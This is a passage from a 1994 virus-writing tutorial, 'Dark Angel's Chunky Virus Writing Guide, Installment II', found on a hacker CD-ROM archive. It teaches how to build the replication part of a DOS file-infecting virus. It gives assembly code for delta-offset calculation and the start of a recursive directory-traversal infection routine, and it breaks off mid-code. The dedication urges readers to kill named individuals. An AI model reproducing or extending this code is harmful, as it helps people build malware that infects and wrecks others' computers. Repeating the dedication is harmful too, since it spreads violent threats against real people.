home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / PS_VIR2.TXT < prev    next >
Text File  |  1994-07-17  |  30KB  |  597 lines

  1.       //==//  //  //  /||      //      //====  //==//  //|   //
  2.      //  //  //  //  //||     //      //      //  //  //||  //
  3.     //==//  //==//  //=||    //      //      //  //  // || //
  4.    //      //  //  //  ||   //      //      //  //  //  ||//
  5.   //      //  //  //   ||  //====  //====  //==//  //   ||/
  6.   
  7.      /====   // //     //  /====   /|   /|
  8.     //      // //     //  //      //|  //|
  9.     ===\   // //     //   ===\   //|| //||
  10.       //  //  \\    //      //  // ||// ||
  11.   ====/  //    \\  //   ====/  //  ||/  ||
  12.   
  13.   ──────────────────────────────────────────────
  14.   DISCLAIMER: Pretend you see a disclaimer here.
  15.     99.44% of the code guaranteed to work.
  16.   ──────────────────────────────────────────────
  17.   DEDICATION: Please try your best to kill those
  18.     who made this possible, especially that dumb
  19.     bitch who doesn't know her own name (Patty),
  20.     and her lover Ross M. Greenberg.
  21.   ──────────────────────────────────────────────
  22.   GREETS -N- STUFF: Greets go to all the members
  23.     of PHALCON/SKISM.  I wish to give buckets o'
  24.     thanks to Hellraiser, Garbageheap, and Demo-
  25.     gorgon.  No thanks this time to Orion Rouge,
  26.     the godly master of idiocy.
  27.   ──────────────────────────────────────────────
  28.   
  29.   Dark Angel's Chunky Virus Writing Guide
  30.   ──── ─────── ────── ───── ─────── ─────
  31.   
  32.   ───────────────────────────────
  33.   INSTALLMENT II:  THE REPLICATOR
  34.   ───────────────────────────────
  35.   
  36.   In the  last installment of my Virus Writing Guide, I explained the various
  37.   parts of  a virus  and went  into a  brief discussion  about each.  In this
  38.   issue, I  shall devote  all my  attention towards the replicator portion of
  39.   the virus.  I promised code and code I shall present.
  40.   
  41.   However, I  shall digress  for a moment because it has come to my attention
  42.   that some  mutant  copies  of  the  first  installment  were  inadvertently
  43.   released.   These copies  did not  contain a  vital section  concerning the
  44.   calculation of offsets.
  45.   
  46.   You never  know where  your variables  and code  are going  to wind  up  in
  47.   memory.   If you think a bit, this should be pretty obvious.  Since you are
  48.   attaching the  virus to  the end  of a  program, the  location in memory is
  49.   going to  be changed,  i.e. it  will be  larger by the size of the infected
  50.   program.   So, to  compensate, we  must take  the change in offset from the
  51.   original virus,  or the  delta offset,  and add  that to  all references to
  52.   variables.
  53.   
  54.   Instructions that  use displacement,  i.e. relative  offsets, need  not  be
  55.   changed.   These instructions are the JA, JB, JZ class of instructions, JMP
  56.   SHORT, JMP label, and CALL.  Thus, whenever possible use these in favor of,
  57.   say, JMP FAR PTR.
  58.   
  59.   Suppose in  the following  examples, si  is somehow  loaded with  the delta
  60.   offset.
  61.   
  62.   Replace
  63.     mov ax, counter
  64.   With
  65.     mov ax, word ptr [si+offset counter]
  66.   
  67.   Replace
  68.     mov dx, offset message
  69.   With
  70.     lea dx, [si+offset message]
  71.   
  72.   You may  be asking, "how the farg am I supposed to find the delta offset!?"
  73.   It is simple enough:
  74.   
  75.     call setup
  76.   setup:
  77.     pop  si
  78.     sub  si, offset setup
  79.   
  80.   An explanation  of the  above fragment  is in order.  CALL setup pushes the
  81.   location of the next instruction, i.e. offset setup, onto the stack.  Next,
  82.   this location  is POPed  into si.   Finally,  the ORIGINAL  offset of setup
  83.   (calculated at  compile-time) is  subtracted from  si, giving you the delta
  84.   offset.   In the  original virus,  the delta offset will be 0, i.e. the new
  85.   location of setup equals the old location of setup.
  86.   
  87.   It is  often preferable to use bp as your delta offset, since si is used in
  88.   string instructions.  Use whichever you like.  I'll randomly switch between
  89.   the two as suits my mood.
  90.   
  91.   Now back to the other stuff...
  92.   
  93.   A biological  virus is a parasitic "organism" which uses its host to spread
  94.   itself.   It must keep the host alive to keep itself "alive."  Only when it
  95.   has spread  everywhere will  the host  die a  painful, horrible death.  The
  96.   modern electronic  virus is  no different.   It  attaches itself  to a host
  97.   system and  reproduces until the entire system is fucked.  It then proceeds
  98.   and neatly wrecks the system of the dimwit who caught the virus.
  99.   
  100.   Replication is  what distinguishes  a virus  from a simple trojan.  Anybody
  101.   can write  a trojan,  but a  virus is  much more  elegant.   It acts almost
  102.   invisibly, and  catches the victim off-guard when it finally surfaces.  The
  103.   first question  is, of  course, how  does a virus spread?  Both COM and EXE
  104.   infections (along with sample infection routines) shall be presented.
  105.   
  106.   There are  two major  approaches to  virii: runtime and TSR.  Runtime virii
  107.   infect, yup,  you guessed  it, when  the infected program is run, while TSR
  108.   virii go  resident  when  the  infected  programs  are  run  and  hook  the
  109.   interrupts and  infect when  a file  is  run,  open,  closed,  and/or  upon
  110.   termination (i.e.  INT  20h,  INT  21h/41h).    There  are  advantages  and
  111.   disadvantages to  each.   Runtime virii  are harder to detect as they don't
  112.   show up on memory maps, but, on the other hand, the delay while it searches
  113.   for and  infects a file may give it away.  TSR virii, if not properly done,
  114.   can be  easily spotted  by utilities such as MAPMEM, PMAP, etc, but are, in
  115.   general, smaller  since they  don't need  a function to search for files to
  116.   infect.   They are  also faster than runtime virii, also because they don't
  117.   have to  search for files to infect.  I shall cover runtime virii here, and
  118.   TSR virii in a later installment.
  119.   
  120.   Here is a summary of the infection procedure:
  121.        1) Find a file to infect.
  122.        2) Check if it meets the infection criteria.
  123.        3) See if it is already infected and if so, go back to 1.
  124.        4) Otherwise, infect the file.
  125.        5) Cover your tracks.
  126.   
  127.   I shall  go through  each of  these steps and present sample code for each.
  128.   Note that  although a  complete virus  can be  built from  the  information
  129.   below, you  cannot merely  rip the  code out  and stick it together, as the
  130.   fragments are  from various  different virii that I have written.  You must
  131.   be somewhat  familiar with assembly.  I present code fragments; it is up to
  132.   you to either use them as examples or modify them for your own virii.
  133.   
  134.   ──────────────────────────────
  135.   STEP 1 - FIND A FILE TO INFECT
  136.   ──────────────────────────────
  137.   Before you  can infect  a file,  you have  to find it first!  This can be a
  138.   bottleneck in  the performance  of the  virus, so  it  should  be  done  as
  139.   efficiently as possible.  For runtime virii, there are a few possibilities.
  140.   You could  infect files in only the current directory, or you could write a
  141.   directory traversal function to infect files in ALL directories (only a few
  142.   files per  run, of  course), or you could infect files in only a few select
  143.   directories.   Why would  you choose  to only  infect files  in the current
  144.   directory?   It would  appear to  limit the  efficacy  of  the  infections.
  145.   However, this  is done  in some  virii either  to speed  up the virus or to
  146.   shorten the code size.
  147.   
  148.   Here is a directory traversal function.  It uses recursion, so it is rather
  149.   slow, but it does the job.  This was excerpted with some modifications from
  150.   The Funky Bob Ross Virus [Beta].
  151.   
  152.   traverse_fcn proc    near
  153.           push    bp                      ; Create stack frame
  154.           mov     bp,sp
  155.           sub     sp,44                   ; Allocate space for DTA
  156.   
  157.           call    infect_directory        ; Go to search & destroy routines
  158.   
  159.           mov     ah,1Ah                  ;Set DTA
  160.           lea     dx,word ptr [bp-44]     ; to space allotted
  161.           int     21h                     ;Do it now!
  162.   
  163.           mov     ah, 4Eh                 ;Find first
  164.           mov     cx,16                   ;Directory mask
  165.           lea     dx,[si+offset dir_mask] ; *.*
  166.           int     21h
  167.           jmp     s